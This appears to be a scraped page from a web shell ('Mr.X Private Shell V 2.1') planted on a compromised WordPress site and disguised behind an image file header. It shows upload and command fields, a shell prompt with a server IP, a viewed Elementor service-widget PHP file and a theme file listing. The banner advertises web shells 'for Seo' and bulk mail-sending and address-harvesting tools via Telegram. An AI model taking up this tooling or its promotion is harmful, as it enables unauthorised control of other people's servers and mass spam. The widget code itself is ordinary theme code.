����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

chassiw@216.73.217.25: ~ $
<?php

namespace Elementor;

if ( ! defined( 'ABSPATH' ) ) exit;


class Buildbench_Service_Widget extends Widget_Base {


    public $base;

    public function get_name() {
        return 'buildbench-service';
    }

    public function get_title() {
        return esc_html__( 'Services ', 'buildbench' );
    }

    public function get_icon() { 
        return ' eicon-meta-data';
    }

    public function get_categories() {
        return [ 'buildbench-elements' ];
    }

    protected function _register_controls() { 

      $this->start_controls_section(
         'section_tab',
         [
             'label' => esc_html__('Service settings', 'buildbench'),
         ]
     );

      $this->add_control('service_item',
      [
         'label'     => esc_html__( 'Select Service', 'buildbench' ),
         'type'      => \Elementor\Controls_Manager::SELECT,
         'options'   => $this->getServices(),
      
      ]
     );

     $this->add_control('buildbench_service_image_pos',  [
      'label' => esc_html__( 'Icon Alignment', 'buildbench' ),
      'type' => \Elementor\Controls_Manager::SELECT,
      'default' => 'pull-left',
         'options' => [
         'pull-left'  => esc_html__( 'Left', 'buildbench' ),
         'top' => esc_html__( 'Top', 'buildbench' ),
         ],
       ]
     );

     $this->add_control('desc_limit',
            [
              'label'         => esc_html__( 'content limit', 'buildbench' ),
              'type'          => Controls_Manager::NUMBER,
              'default'       => '10',
               
            ]
     ); 

     $this->add_control('show_feature_image',[
         'label' => esc_html__( 'Feature image', 'buildbench' ),
         'type' => \Elementor\Controls_Manager::SWITCHER,
         'label_on' => esc_html__( 'Show', 'buildbench' ),
         'label_off' => esc_html__( 'Hide', 'buildbench' ),
         'return_value' => 'yes',
         'default' => 'yes',
         'condition' => ['feature_service' => ''],
        ]
     );

     $this->add_control('feature_service',[
      'label' => esc_html__( 'Icon service', 'buildbench' ),
      'type' => \Elementor\Controls_Manager::SWITCHER,
      'label_on' => esc_html__( 'Enable', 'buildbench' ),
      'label_off' => esc_html__( 'Disble', 'buildbench' ),
      'return_value' => 'yes',
      'default' => 'yes',
         
      ]
   );
      
     $this->end_controls_section();

     $this->start_controls_section('style_section',
         [
            'label' => esc_html__( 'Style Section', 'buildbench' ),
            'tab'   => Controls_Manager::TAB_STYLE,
         ]
    ); 

    $this->add_control('service_text_color',
         [
            'label'    => esc_html__('Title color', 'buildbench'),
            'type'     => Controls_Manager::COLOR,
            'selectors'   => [
                 '{{WRAPPER}} .ts-service-box .ts-service-box-info h3 a' => 'color: {{VALUE}};',
                 '{{WRAPPER}} .featured-box .ts-title a' => 'color: {{VALUE}};',
             ],
         ]
     );

     $this->add_control('service_text_color_hover',
     [
         'label'     => esc_html__('Title hover', 'buildbench'),
         'type'      => Controls_Manager::COLOR,
         'selectors' => [
          
           '{{WRAPPER}} .ts-service-box .ts-service-box-info h3 a:hover' => 'color: {{VALUE}};',
           '{{WRAPPER}} .featured-box .ts-title a:hover' => 'color: {{VALUE}};',
       
         ],
     ]
    );
    $this->add_control('service_desc_color',
      [
         'label'    => esc_html__('Description color', 'buildbench'),
         'type'     => Controls_Manager::COLOR,
         'selectors'   => [
               '{{WRAPPER}} .ts-service-box .ts-service-box-info p' => 'color: {{VALUE}};',
               '{{WRAPPER}} .featured-box p' => 'color: {{VALUE}};',
         ],
      ]
    );
    $this->add_control('service_desc_hv_color',
    [
       'label'    => esc_html__('Description hover color', 'buildbench'),
       'type'     => Controls_Manager::COLOR,
       'condition' => ['buildbench_service_image_pos' => 'top'],
       'selectors'   => [
            '{{WRAPPER}} .ts-service-box .ts-service-box-info:hover p' => 'color: {{VALUE}};',
            '{{WRAPPER}} .featured-box:hover p' => 'color: {{VALUE}};',
        ],
    ]
   );

    $this->add_group_control(Group_Control_Typography::get_type(), 
         [
         'name'		 => 'buildbench_service_post_typography',
         'label'    => esc_html__('Content typpgraphy', 'buildbench'),
         'selectors'	 => '{{WRAPPER}} .ts-service-box .ts-service-box-info p',
            '{{WRAPPER}} .featured-box .feature-text',
                  
             
               
         ]
   );

    $this->end_controls_section();  

   $this->start_controls_section('style_position_section',
         [
            'label' => esc_html__( 'Position', 'buildbench' ),
            'tab'   => Controls_Manager::TAB_STYLE,
         ]
      ); 
      
      $this->add_control(
         'service_background_position',
         [
            'label' => esc_html__( 'Background position', 'buildbench' ),
            'type' => Controls_Manager::SLIDER,
            'size_units' => [ 'px', '%' ],
            'range' => [
               'px' => [
                  'min' => 0,
                  'max' => 1000,
                  'step' => 1,
               ],
               '%' => [
                  'min' => 0,
                  'max' => 100,
               ],
            ],
            'default' => [
               'unit' => '%',
               'size' => -10,
            ],
            'selectors' => [
            
               '{{WRAPPER}} .ts-service-box .ts-service-box-info:after' => 'top: {{SIZE}}{{UNIT}};;',
            ],
         ]
      );



      $this->end_controls_section();  
    }

    protected function render(){
    
      $settings = $this->get_settings();
      $service_single = $settings['service_item'];
      $buildbench_service_image_pos  =$settings['buildbench_service_image_pos'];
      $show_feature_image  =$settings['show_feature_image'];
      $feature_service  =$settings['feature_service'];
      $desc_limit  =$settings['desc_limit'];
    
         $args = [
            'post_type'        => 'ts-service',
            'posts_per_page'   => 1,
            'p'                => $service_single,
        
         ];
         $service = get_posts( $args,ARRAY_A);
      
               

      ?>
      <?php if(count($service)): ?>
               <?php if($feature_service!="yes"): ?>
                  <div class="ts-service<?php echo esc_attr($buildbench_service_image_pos!="pull-left"?"-classic":''); ?>">
                     <div class="ts-service-box <?php echo esc_attr($buildbench_service_image_pos!="pull-left"?"text-center pb-60":''); ?>">
                                 <?php if($show_feature_image=="yes"): ?>
                                    <div class="srevice-img">
                                    <img class="img-fluid" src="<?php echo get_the_post_thumbnail_url( $service[0]->ID, 'large' ); ?>">
                                    </div>
                                 <?php endif; ?>
                                    <div class="ts-service-box-img <?php echo esc_attr($buildbench_service_image_pos); ?>">
                                    <?php  $service_icon =  buildbench_meta_option($service[0]->ID,'service_icon','');  ?>
                                    <?php if(is_array($service_icon)): ?>
                                       <img src="<?php echo esc_attr($service_icon['url']); ?>" >
                                    <?php endif; ?> 
                                    </div>
                                    <div class="ts-service-box-info">
                                       <h3 class="ts-title"><a href="<?php echo get_post_permalink($service[0]->ID); ?>"><?php echo esc_html($service[0]->post_title); ?></a></h3>
                                       <p><?php echo esc_html($service[0]->post_excerpt); ?></p>
                                 </div>
                     </div><!-- Service 2 end -->
                  </div>
               <?php else: ?>   
               <div class="featured-box">
                  <?php 
                     $service_icon =  buildbench_meta_option($service[0]->ID,'service_icon',''); 
                  
                  ?>
                  <?php if(is_array($service_icon)): ?>
                     <img src="<?php echo esc_attr($service_icon['url']); ?>" > 
                  <?php endif; ?>
                     <h3 class="ts-title">
                           <a href="<?php echo get_post_permalink($service[0]->ID); ?>"> <?php echo esc_html($service[0]->post_title); ?> </a>
                     </h3>
                     <p class="feature-text"><?php echo wp_trim_words($service[0]->post_excerpt,$desc_limit,''); ?>
                     </p>
               </div>
               <?php endif; ?>
             
      <?php endif; ?>
      <?php 
    }

    public function getServices(){
      $service_list = [];
      $args = array(
          'post_type' 		    	=> 'ts-service',
          'suppress_filters' 		=> false,
          'posts_per_page'       => '-1'
       
       );
       
       $posts = get_posts($args);
       foreach ($posts as $postdata) {
          setup_postdata( $postdata );
          $service_list[$postdata->ID] = [$postdata->post_title];
        }
      
     
      return $service_list;
  }

   }

Filemanager

Name Type Size Permission Actions
feature.php File 8 KB 0644
funfact.php File 6.98 KB 0644
latestnews.php File 12.87 KB 0644
owlslider.php File 25.12 KB 0644
pricing.php File 10.99 KB 0644
projects.php File 11.98 KB 0644
services.php File 9.26 KB 0644
team.php File 8.29 KB 0644
testimonial.php File 8.95 KB 0644
title.php File 6.46 KB 0644
working-process.php File 6.78 KB 0644